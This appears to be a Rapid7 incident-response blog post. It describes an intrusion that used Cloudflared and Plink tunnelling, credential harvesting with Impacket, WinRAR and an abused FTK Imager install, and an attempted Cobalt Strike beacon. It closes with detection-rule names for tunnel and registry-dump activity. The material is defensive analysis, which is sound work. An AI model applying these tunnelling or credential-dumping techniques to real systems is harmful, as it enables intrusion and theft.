Innovative Tunnelling and Forensic Tool Abuse: IR Tales from the Field

Rapid7 Incident Response consultants Willow Shipperley and Noah Hemker contributed analysis and insight to this blog.

Executive summary

Rapid7’s Incident Response (IR) team was engaged to investigate an incident involving an attempted Cobalt Strike execution. The investigation uncovered twists and turns with pre-ransomware activities, tunneling tools, and attackers taking a page out of the defender’s playbook. The attacker took careful steps to maintain access to the environment through persistence that mimicked normal user behavior. This blog covers the techniques, indicators of compromise (IoCs), and detections for Rapid7 customers.

Observed attacker behavior

In this incident, the attacker executed an elegantly obfuscated PowerShell command to establish a Cobalt Strike beacon. Cobalt Strike (CS) is often used after an attacker has gained a comfortable foothold in an environment; CS is a powerful and dynamic tool useful for maintaining persistent access and executing commands remotely. As with any IR investigation, it was imperative to gather answers effectively, beginning with knowing which questions to ask: where did CS attempt to execute, who attempted to execute it, what other malicious activity occurred, and — most importantly — how did an attacker get to this point in the first place?

Initial scoping

The first step in answering these questions involved compiling a list of IoCs from the identified activity. To start, these IoCs included Command & Control (C2) information (e.g., hardcoded IP addresses and the domains they resolve to) extracted from the obfuscated PowerShell command, and the name of the account that executed it. Searching for references to IoCs can reveal further information, including other malicious commands executed by the compromised account, other compromised assets, and other compromised accounts. As new IoCs are identified, it is critical to add each to the growing list and search for further references to them across the environment. Once compromised assets and accounts are identified, a containment strategy must be developed. Quarantining assets, disabling accounts, blocking host and network-based IoCs, and disabling remote services can all aid in containing a compromise before an attacker can attain their goals.

Following the initial scoping and containment measures, the investigation turned to reconstructing the attacker’s path through the environment in a timeline. This structure keeps focus on answering the most important questions, sheds light on the attacker’s goals, and identifies gaps that require deeper investigation. At the very end of this timeline was the attempted execution of a malicious batch script. The script’s name, location, and method of execution shared similarities to known ransomware tactics, techniques, and procedures (TTPs). Thankfully, the script’s execution was blocked by the endpoint security tooling used in the environment, and the typical pre-ransomware activity, such as disabling event logging, deleting backups, and killing processes, was not observed. This discovery revealed the attacker’s goals; however it did not provide insight into how the attacker moved through the environment to get to this point, where the attacker acquired the credentials allowing such movement, or when the attacker first gained access to the environment.

Lateral movement with tunneling tools

The first major breakthrough was identifying the execution of PuTTY Link (Plink) and Cloudflare Tunnel (Cloudflared), two versatile network traffic tunneling tools that allow a user to connect to network resources that might otherwise be inaccessible. Although the network tunneling tools were executed on a relatively small number of assets, the implications of an attacker abusing them loomed overhead. With either tool it would be simple to set up a Remote Desktop Protocol (RDP) or Secure Shell (SSH) connection between a compromised asset and attacker-controlled infrastructure for remote authentication, remote code execution (RCE), or both.

The attacker used Plink first, attempting to set up tunnels to external IP addresses for future RCE. Fortunately, each attempt was automatically blocked by endpoint security tooling. After those repeated failures, Cloudflared was introduced and used throughout the rest of the compromise. Why was Cloudflared successful where Plink had failed, when both tools produce similar results? The major difference was that while Plink attempted to establish connections directly to external C2 servers, Cloudflared proxied all external traffic through Cloudflare’s legitimate network. Since the compromised environment routed their network traffic through Cloudflare, the Cloudflared tool was able to establish and maintain malicious connections without trouble. This served the attacker well as both a means of successful network communication and defense evasion; the true IP addresses and domains associated with their C2 servers were not directly recorded, and their malicious traffic blended in amongst normal traffic generated in the environment.

Beyond the expected communication with malicious external resources, Cloudflared was used for both RDP and SSH sessions between internal assets in the compromised environment as a method for lateral movement. However, the attacker took Cloudflared’s capabilities a step further by setting up network tunnels between internal assets in the environment. These internal tunnels functioned as a relay — not only for traditional remote access, but also to transfer data, execute commands, and deploy malware. Such dynamic and clever usage of Cloudflared indicated that the attacker was familiar with the compromised environment, and answered the important questions of how the attacker moved throughout the environment, as well as how the attacker was able to deploy CS and execute the ransomware batch script. To continue construction of the incident’s timeline, the next major question to answer was where the attacker acquired the account credentials that allowed for this lateral movement.

Credential access with FTK imager

Credential access and harvesting can be performed through a plethora of techniques. Sometimes accounts have weak passwords that can be easily guessed, or poor security controls like a lack of multi-factor authentication (MFA). Other times password hashes, cached logon information, and LSA secrets are collected from registry hives or dumped from the memory of vital Windows processes like LSASS. These more complex credential harvesting methods require a deeper understanding of how Windows stores and uses passwords in practice to properly acquire and effectively use them. In this incident, the attacker performed no less than four different methods of credential harvesting.

The first method was a classic: an Active Directory (AD) brute-forcing tool — in this case, PlusBrute — tested combinations of common account names and passwords to see if any resulted in successful authentications. Not a particularly elegant method, but certainly simple and effective when a targeted environment’s security practices may be weak or outdated. The second and third methods, using the Impacket framework and WinRAR respectively, focused on the more complex credential information stored in registry hives, which can be cracked to reveal plaintext passwords or left intact in more complex techniques. The Impacket framework, a modular and open-source collection of Python scripts, was used in an attempt to extract only the relevant credential information from select registry hives, while the file compression and archiving tool WinRAR attempted to collect entire registry hives. However, the final credential harvesting method was of particular interest: the attacker installed a legitimate digital forensics tool.

Digital forensics tools come in many varieties. Several serve hyper-specific purposes, like parsing a single type of forensic artifact into a human-readable format, while others handle a wider scope of data collection, parsing, and analysis needs. By necessity, many of these tools have the ability to collect forensic artifacts that may contain encoded credential information, such as password hashes stored in registry keys, as those forensic artifacts often contain information vital to a security incident. As this can set off many antivirus programs, some of these tools will automatically create exceptions for common antivirus software to ensure that their intended functionality is not hindered.

In this incident, the attacker installed Exterro’s legitimate and free-to-use digital forensics tool, FTK Imager, on over a dozen assets. The installation process for FTK Imager included the creation of antivirus exceptions, allowing the attacker to collect entire registry hives as well as any other forensic artifacts containing useful credential information, without risk of interruption. 

Initial access

These varied methods of credential harvesting filled in many gaps in the investigation’s timeline, and revealed where the attacker acquired the credential information necessary to move through the environment. The only question remaining was how and where the attacker first gained access to the environment. This key point of an incident is referred to as the initial access vector (IAV). Unfortunately, in many investigations, there is not enough relevant forensic data to clearly define the IAV. Despite that, there are many ways to hone in on the first few minutes of malicious activity in an incident. When an attacker first gains access to an asset, steps must be taken to understand what they have access to — it could be an individual’s home PC, or a valuable server in a corporate environment. To gather information, an attacker will execute discovery commands that provide details about the compromised asset, account, and accessible resources. In this incident, those initial discovery commands were executed by an old service account that did not require MFA for authentication. The poor security controls used by this account made it an easy target for initial access.

With these final pieces of information, the full timeline of the incident became clear. An attacker gained initial access to the environment through a service account with minimal protections. Through that service account, the attacker abused native Windows binaries to discover information about accessible and valuable assets. A series of credential harvesting techniques granted access to further accounts with high permissions, and network tunnelling tools were installed to move through the environment. Cloudflared provided the attacker with the necessary framework to deploy further malware, culminating in the attempted execution of CS and malicious scripts associated with ransomware.

MITRE ATT&CK techniques

Indicators of compromise

Rapid7 customers

Rapid7 used Velociraptor during this investigation to allow for remote triage and collection of forensic artifacts on the endpoint. Velociraptor can be leveraged for hunting IoCs at scale, refer to the Rapid7 Labs Repo here for IoCs and additional rule logic that can be applied.

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. 

Below is a non-exhaustive list of detections that are deployed and will alert on the behaviors discussed in this blog:

• Suspicious Process — SMB Activity Spike over Cloudflared Tunnel (cloudflared.exe)

• Suspicious Process — RDP Session over New Cloudflared Tunnel (cloudflared.exe)

• Attacker Technique — Plink Redirecting RDP

• Attacker Technique — Plink Redirecting SMB/CIFS

• Lateral Movement — SSH Connection to Remote IP using Plink.exe

• Endpoint Detection — Registry Dump File Written to TEMP Directory

• Credential Dumping — Reg.exe Exporting Security, System or SAM Registry Keys

• Brute Force — Failed Authentication Attempts Against Domain Account

• PowerShell — Base64/Gzip Script Content

• Collection — WinRAR Multi Filter Archive

• Attacker Technique — Suspicious Nltest Execution via RDP